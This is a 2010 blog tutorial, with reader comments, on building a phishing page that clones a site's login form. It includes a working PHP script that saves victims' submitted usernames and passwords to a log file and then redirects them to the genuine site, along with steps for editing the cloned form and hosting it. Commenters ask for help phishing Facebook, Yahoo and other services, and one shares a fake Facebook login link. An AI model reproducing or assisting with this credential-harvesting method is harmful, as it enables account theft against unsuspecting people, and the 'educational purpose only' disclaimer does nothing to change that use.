Recent Articles
View More Articles

How to make a Fake login page manually.

Saturday, August 7, 2010| Surbhi Verma



Previously i have posted about how to hack any account using phishing pages.... Now in this post i m gonna explain how you can make phishing page or fake page of any site manually.






well, to make a phishing page or you can say phisher for any site say orkut, facebook, twitter etc. is very simple task... If you dont know any computer languages then also you can create ur own fake pages very easily.... Just you need some learning capability and a little brain ;)

Note: Hacking is a crime. Dont use this tutorial to hack innocent people. I am teaching it for educational purpose only. I will not be responsible for any damage done by you.


Basically how a Hacker get passwords using fake page or how phishing works:
For hacking using phishing method, hacker needs 2 type of files  




1. index.html

2. A php file with any name say login.php

where index.html is actually a fake login page of any site that looks exactly same as the original login page on that site.....
As soon as victim enter's its username and passwords.... on fake page... it redirects to a php file created by hacker....This php file places main role to get the passwords of victim....it makes a text file and save the victim's username and password in that....also it redirects to the original login page of that site.... so that victim could not know about this hack..

To explain you more i have created a diagram... hope you can understand easily by that...

To know how to create both files.....Follow the simple steps:
>> In this tut i will tell you first how to create a login.php file, then i will tell you the procedure to make a index.html file.
>> you have to follow same procedure for all the sites....  here just to explain you, in the whole tut i will take an example of orkut.com

Step 1. Creating a login.php file>
Open notepad and  paste the following lines there... as save it with name login.php







<?php



header ('Location: http://www.orkut.com');

$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


here:
http://www.orkut.com : its the url of page where the php page will redirect.... that will display to victim... after entering the username and password... you have to change it according to the site for which you are making phishing page.
log.txt : Its the name of  file where the passwords will save.


step 2. Create the fake index.html Page:

2.1. first of all open the site for which you want to make a phishing page, say orkut.com..... go to orkut login page.... then right click there> save as> then save it....

check the downloaded file.... there will be one htm file(orkut-login.htm) with a folder(orkut-login_files) containing some pics, css files and js files.

2.2. Now open the htm file with notepad... and press ctrl +F and search for action... and you will find a line as shown in screenshot.
Note:in case of some other sites may be you find more then one action word... but you have to find out the exact  type of line as shown in screen shot.... near which you will find a 
 tag and method="post" something like that.

2.3. Now replace the url written after action with the name of your php file created in step 1. also clear the line onsubmit=".." if it exists.


Now your fake page is ready....
Save it with name index.html


Step 3: Now upload both the files index.html and login.php in a free hosting site... to know how to upload and all....check my previous post....  How to hack any account by phishing attack: step by step Guide 

Note: Along with uploading these 2 files mentioned above... in same directory you have to make one folder with same name as a folder was download in step 2.1 with the htm file...
also you have to upload all files containing that folder in this new folder.


If you want to know the procedure to make fake page for any particular site.... the leave the name of site in comment. :)



Bookmark and Share
Posted in Hacking Stuff

23 comments for this post


  1. Anonymous
    August 28, 2010 at 6:55 PM

    hey what about facebook???


  2. Surbhi Verma
    August 31, 2010 at 10:01 AM

    @Above... Dear follow same method for facebook also...
    But if you want then i will explain step by step also.


  3. Anonymous
    September 8, 2010 at 12:57 AM

    Hey,would u explain to me how i can do it in yahoo?plz send to my email : majid1495@yahoo.com


  4. Anonymous
    September 10, 2010 at 1:26 PM

    hy i want to do this in mig33.com


  5. Surbhi Verma
    September 10, 2010 at 11:50 PM

    @Above both...
    try to create it by self, if any problem comes then ask me, i will help u for sure :)


  6. Anonymous
    October 1, 2010 at 12:59 AM

    thanks... but how can u protect ur self from these pages ?
    i mean i have already has a fake page for fb but it's not belongs for me (for a friend) i logged into another account from this link so it's not a problem but how i can to Get rid of the link?


  7. Anonymous
    October 4, 2010 at 9:41 AM

    I did it for facebook. Everything works just fine except one thing. The login.php file isn't writing the details to my log file. I even made sure my log file is more than 15k so that it can be uploaded to my hosting. Login.php successfully redirects it to the facebook, but isn't just writing the email address and password.

    What could be wrong? My hosting supports php. I have a paid one.


  8. Surbhi Verma
    October 4, 2010 at 5:04 PM

    @Above.... i m not clear wid the query.... hv u created the log file by self or wat which is of size 15K around. also can u plz tell me the name of hosting site, which u r using....


  9. Anonymous
    October 6, 2010 at 6:25 PM

    hi, i have made a fake yahoo page.. i loaded it successfully.... it is working fyn,... i shortened its url from dot.tk , and now when i open it through facebook-beta.tk , it redirects me to the original yahoo.. the fake page doesnt open.. can u help me out


  10. Unknown
    January 16, 2011 at 2:01 AM

    Hi Surbhi.. I didn't get this Phishing way.. Plz can u contact me through msn or yahoo messenger, so i can ask for help.. plz

    thank


  11. rohan
    February 21, 2011 at 11:37 AM

    hey surbhi .... i wanna know how to create a fake login page .. i tried but i got confused .....my ID- rohan.mbd@gmail.com


    thankxxx


  12. Digvijay
    July 1, 2011 at 12:02 AM

    Hey surbhi, that was a wonderful post but a new way of making a phishing page is not manually but by using Super Phisher.Just enter the name of your site and Everything is done.try searching of it


  13. Surbhi Verma
    July 1, 2011 at 1:08 PM

    @DigVijay...yes, u r right, der are many softwares available that can create a fake page easily, superphisher is one of them. I know about it already, but forgot to write about this topic as der are many topics to write and i am only the one here to write posts, solving and answering others query etc.
    Bdw thank you very much for reminding me about this, i will try to write about it very soon!!!


  14. Digvijay
    July 1, 2011 at 5:50 PM

    Well These softwares are available but not easily, they are usually uploaded to sharecash, fileme.us.These filehosting sites really suck(U might agree with me on this)
    Btw I have created a fake facebook login page

    http://digvijaydadhich.0fees.net/

    Well if you want any help in writing a post for phishers then do tell me(I am totally a tech freak and i will love to help)


  15. Surbhi Verma
    July 2, 2011 at 10:44 AM

    @DigVijay...i had that sw, but not now, guess, i had deleted it. well, to find it again is not that much easy..agree wid u.
    well thank u very much.... if u really want to help me by writing here, u r most welcome :) I will be glad to have a supporter like u :)


  16. Unknown
    August 15, 2011 at 8:14 AM

    Eh! i dont feel any need to create fake login pages...
    www.salaria.tk is already providing that facility .. pre built fake login pages.. hope that will be help full :))


  17. lol mister
    November 19, 2011 at 12:08 PM

    could u do it fr me!!


  18. sunny
    December 7, 2011 at 12:32 AM

    hi surbi actully i am having a problem while creating a web hosting can you please help me regarding this


  19. Anonymous
    December 9, 2011 at 8:10 PM

    I've followed all the instructions but when you put the email and password details in it directs it to a page where its written everything that is in the php file. can you help me please?


  20. JbestaL
    January 16, 2012 at 12:04 AM

    http://cfclan.ph.gameclub.com/Myclan/clan_index.asp?guildid=50

    plzz help make a fake page of that
    bestaljeferson@yahoo.com
    tnxx


  21. Anonymous
    January 21, 2012 at 2:34 AM

    I need help, action doesn't help when i try to search it?


  22. The Hoely Saint
    May 13, 2012 at 5:42 AM

    i want to create fake page of www.rocketon.com

    bcuz someone hacked my account when i was chatting wid him... i dont know how.. but he hacked me...


  23. Unknown
    July 10, 2012 at 5:09 PM

    nyc post surbhi.. when i try to open the index.html page it is opened like this file:///C:/Documents%20and%20Settings/Administrator/Desktop/index.html...i dont know the thing that u said that send the url to your freinds..wat is my url?? i have made my domain on 000webhost.com...and my domain is makefreewebistes.net...but it is not opening..it says page not found..can u plz tell me wat to do??

Leave a reply

Newer Post
Older Post
Subscribe to: Post Comments (Atom)
TechByte4U on Facebook
Popular Posts